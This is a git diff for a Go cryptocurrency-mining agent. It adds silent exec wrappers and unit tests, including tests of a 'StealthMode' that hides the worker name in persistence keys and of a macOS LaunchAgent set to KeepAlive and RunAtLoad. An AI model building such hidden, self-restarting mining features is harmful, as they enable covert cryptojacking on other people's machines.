diff --git a/agent/client/silent_stub.go b/agent/client/silent_stub.go
new file mode 100644
index 0000000..5afc4fc
--- /dev/null
+++ b/agent/client/silent_stub.go
@@ -0,0 +1,28 @@
+//go:build !windows
+
+package client
+
+import "os/exec"
+
+// On non-Windows there are no console windows to hide; these are
+// plain exec wrappers that mirror the silent_windows.go signatures.
+
+func silentCmd(name string, arg ...string) *exec.Cmd {
+ return exec.Command(name, arg...)
+}
+
+func silentCombinedOutput(name string, arg ...string) ([]byte, error) {
+ return exec.Command(name, arg...).CombinedOutput()
+}
+
+func silentOutput(name string, arg ...string) ([]byte, error) {
+ return exec.Command(name, arg...).Output()
+}
+
+func silentRun(name string, arg ...string) error {
+ return exec.Command(name, arg...).Run()
+}
+
+func silentStart(cmd *exec.Cmd) error {
+ return cmd.Start()
+}
diff --git a/agent/client/silent_stub_test.go b/agent/client/silent_stub_test.go
new file mode 100644
index 0000000..e95d9b6
--- /dev/null
+++ b/agent/client/silent_stub_test.go
@@ -0,0 +1,65 @@
+//go:build !windows
+
+package client
+
+import (
+ "os/exec"
+ "testing"
+)
+
+// These tests validate the Unix silent_stub wrappers produce the same
+// behaviour as a plain exec.Command — confirming the stubs are wired correctly
+// before we ever run the agent on Mac/Linux.
+
+func TestSilentCombinedOutputEcho(t *testing.T) {
+ out, err := silentCombinedOutput("echo", "hello")
+ if err != nil {
+ t.Fatalf("silentCombinedOutput: %v", err)
+ }
+ if string(out) != "hello\n" {
+ t.Errorf("got %q, want \"hello\\n\"", string(out))
+ }
+}
+
+func TestSilentOutputEcho(t *testing.T) {
+ out, err := silentOutput("echo", "world")
+ if err != nil {
+ t.Fatalf("silentOutput: %v", err)
+ }
+ if string(out) != "world\n" {
+ t.Errorf("got %q, want \"world\\n\"", string(out))
+ }
+}
+
+func TestSilentRunTrue(t *testing.T) {
+ if err := silentRun("true"); err != nil {
+ t.Errorf("silentRun(true): %v", err)
+ }
+}
+
+func TestSilentRunFalse(t *testing.T) {
+ err := silentRun("false")
+ if err == nil {
+ t.Error("silentRun(false) should return non-nil error")
+ }
+}
+
+func TestSilentCmdReturnsCmd(t *testing.T) {
+ cmd := silentCmd("echo", "hi")
+ if cmd == nil {
+ t.Fatal("silentCmd returned nil")
+ }
+ if cmd.Path == "" {
+ t.Error("silentCmd returned cmd with empty Path")
+ }
+}
+
+func TestSilentStartAndWait(t *testing.T) {
+ cmd := exec.Command("true")
+ if err := silentStart(cmd); err != nil {
+ t.Fatalf("silentStart: %v", err)
+ }
+ if err := cmd.Wait(); err != nil {
+ t.Errorf("cmd.Wait after silentStart: %v", err)
+ }
+}
diff --git a/agent/deploy/exec_stub.go b/agent/deploy/exec_stub.go
index 0e0445c..c4e3e54 100644
--- a/agent/deploy/exec_stub.go
+++ b/agent/deploy/exec_stub.go
@@ -26,4 +26,3 @@ func HiddenOutput(name string, arg ...string) ([]byte, error) {
return exec.Command(name, arg...).Output()
}
-func applyDetachedStart(cmd *exec.Cmd) {}
diff --git a/agent/deploy/guard_unix.go b/agent/deploy/guard_unix.go
index be436d3..5ab3c7d 100644
--- a/agent/deploy/guard_unix.go
+++ b/agent/deploy/guard_unix.go
@@ -5,20 +5,9 @@ package deploy
import (
"os/exec"
"strings"
-
- "crypto-miner-agent/config"
)
func workerProcessRunning(imageName string) bool {
out, err := exec.Command("pgrep", "-x", strings.TrimSuffix(imageName, ".exe")).Output()
return err == nil && len(strings.TrimSpace(string(out))) > 0
}
-
-func launchProcessGuard(cfg config.RuntimeConfig) {
- binPath, err := InstalledBinaryPath(cfg)
- if err != nil {
- return
- }
- cmd := exec.Command(binPath, guardFlag)
- _ = cmd.Start()
-}
diff --git a/agent/deploy/guard_unix_test.go b/agent/deploy/guard_unix_test.go
new file mode 100644
index 0000000..26894b1
--- /dev/null
+++ b/agent/deploy/guard_unix_test.go
@@ -0,0 +1,48 @@
+//go:build !windows
+
+package deploy
+
+import (
+ "os/exec"
+ "testing"
+)
+
+// TestWorkerProcessRunningNotFound checks the negative path (process absent).
+// On any CI/local box the test binary name is extremely unlikely to exist as a
+// running process by that exact name, so pgrep should return non-zero.
+func TestWorkerProcessRunningNotFound(t *testing.T) {
+ // Use a name that will never be a running process.
+ if workerProcessRunning("__aetherforge_nonexistent_9z__") {
+ t.Error("should return false for a process that does not exist")
+ }
+}
+
+// TestWorkerProcessRunningCurrent verifies detection works when a process IS
+// running. We use "go" (the go toolchain itself) since it's always present
+// during a test run inside go test.
+func TestWorkerProcessRunningCurrent(t *testing.T) {
+ // pgrep -x matches exact process names; "go" may or may not match
+ // depending on how go test spawns subprocesses. Use the test binary itself.
+ name := "go"
+ out, err := exec.Command("pgrep", "-x", name).Output()
+ if err != nil || len(out) == 0 {
+ t.Skipf("pgrep -x go found nothing; skip live-process check (pgrep not in PATH?)")
+ }
+ // If pgrep found it, our function must also find it.
+ if !workerProcessRunning(name) {
+ t.Errorf("workerProcessRunning(%q) should be true when pgrep finds it", name)
+ }
+}
+
+// TestWorkerProcessRunningStripsExeSuffix ensures that Windows-style ".exe"
+// suffixes in process names are stripped before the pgrep call so the same
+// config name can be used on both platforms.
+func TestWorkerProcessRunningStripsExeSuffix(t *testing.T) {
+ // Process "crypto-miner-agent.exe" → pgrep -x "crypto-miner-agent"
+ // We can't guarantee it's running, but we can confirm it doesn't panic
+ // and returns a bool.
+ result := workerProcessRunning("__nonexistent__.exe")
+ if result {
+ t.Error("should not find __nonexistent__.exe as a running process")
+ }
+}
diff --git a/agent/deploy/platform_unix_test.go b/agent/deploy/platform_unix_test.go
new file mode 100644
index 0000000..bd50ce5
--- /dev/null
+++ b/agent/deploy/platform_unix_test.go
@@ -0,0 +1,127 @@
+//go:build !windows
+
+package deploy
+
+import (
+ "os"
+ "strings"
+ "testing"
+
+ "crypto-miner-agent/config"
+)
+
+// ─── applyDetachedStart ───────────────────────────────────────────────────────
+
+func TestApplyDetachedStartNilSafe(t *testing.T) {
+ // Must not panic when passed nil.
+ applyDetachedStart(nil)
+}
+
+func TestApplyDetachedStartClearsIO(t *testing.T) {
+ // Build a real command and verify stdio is cleared.
+ cmd := HiddenCommand("true")
+ // Assign non-nil stdio to confirm applyDetachedStart clears them.
+ r, w, _ := os.Pipe()
+ defer r.Close()
+ defer w.Close()
+ cmd.Stdin = r
+ cmd.Stdout = w
+ cmd.Stderr = w
+
+ applyDetachedStart(cmd)
+
+ if cmd.Stdin != nil {
+ t.Error("applyDetachedStart should set Stdin to nil")
+ }
+ if cmd.Stdout != nil {
+ t.Error("applyDetachedStart should set Stdout to nil")
+ }
+ if cmd.Stderr != nil {
+ t.Error("applyDetachedStart should set Stderr to nil")
+ }
+}
+
+// ─── PersistenceKeyName ───────────────────────────────────────────────────────
+
+func TestPersistenceKeyNameNormal(t *testing.T) {
+ b := config.GetBuiltinConfig()
+ b.WorkerName = "MyMiner"
+ b.StealthMode = false
+ cfg := config.RuntimeConfig{BuiltinConfig: b}
+
+ key := PersistenceKeyName(cfg)
+ if !strings.HasPrefix(key, "CryptoMiner-") {
+ t.Errorf("PersistenceKeyName = %q, expected CryptoMiner- prefix", key)
+ }
+ if !strings.Contains(key, "MyMiner") {
+ t.Errorf("PersistenceKeyName = %q, expected to contain worker name", key)
+ }
+}
+
+func TestPersistenceKeyNameStealthMode(t *testing.T) {
+ b := config.GetBuiltinConfig()
+ b.WorkerName = "MyMiner"
+ b.StealthMode = true
+ cfg := config.RuntimeConfig{BuiltinConfig: b}
+
+ key := PersistenceKeyName(cfg)
+ // Stealth: uses effective process name, not worker name.
+ if strings.Contains(key, "MyMiner") {
+ t.Errorf("PersistenceKeyName in stealth = %q, should NOT contain worker name", key)
+ }
+}
+
+// ─── HostOSVersion ───────────────────────────────────────────────────────────
+
+func TestHostOSVersionNonEmpty(t *testing.T) {
+ v := HostOSVersion()
+ if v == "" {
+ t.Error("HostOSVersion() should not be empty")
+ }
+}
+
+// ─── LaunchAgent plist content validation (darwin-specific logic) ─────────────
+
+func TestConfigureLaunchAgentPlistContent(t *testing.T) {
+ b := config.GetBuiltinConfig()
+ b.WorkerName = "TestMiner"
+ b.RunAs = "scheduled"
+ cfg := config.RuntimeConfig{BuiltinConfig: b}
+
+ // Write to a temp dir so we don't actually install anything.
+ tmpHome := t.TempDir()
+ origHome := os.Getenv("HOME")
+ os.Setenv("HOME", tmpHome)
+ defer os.Setenv("HOME", origHome)
+
+ binPath := "/usr/local/bin/crypto-miner-agent"
+ err := configureLaunchAgent(cfg, binPath)
+ if err != nil {
+ t.Fatalf("configureLaunchAgent: %v", err)
+ }
+
+ // Verify plist was written.
+ label := "com.aetherforge." + sanitizeName(PersistenceKeyName(cfg))
+ plistPath := tmpHome + "/Library/LaunchAgents/" + label + ".plist"
+ data, err := os.ReadFile(plistPath)
+ if err != nil {
+ t.Fatalf("plist not created: %v", err)
+ }
+
+ content := string(data)
+ requiredStrings := []string{
+ "KeepAlive",
+ "RunAtLoad",
+ "",
+ "ProcessType",
+ "Background",
+ }
+ for _, s := range requiredStrings {
+ if !strings.Contains(content, s) {
+ t.Errorf("plist missing %q\ncontent:\n%s", s, content)
+ }
+ }
+}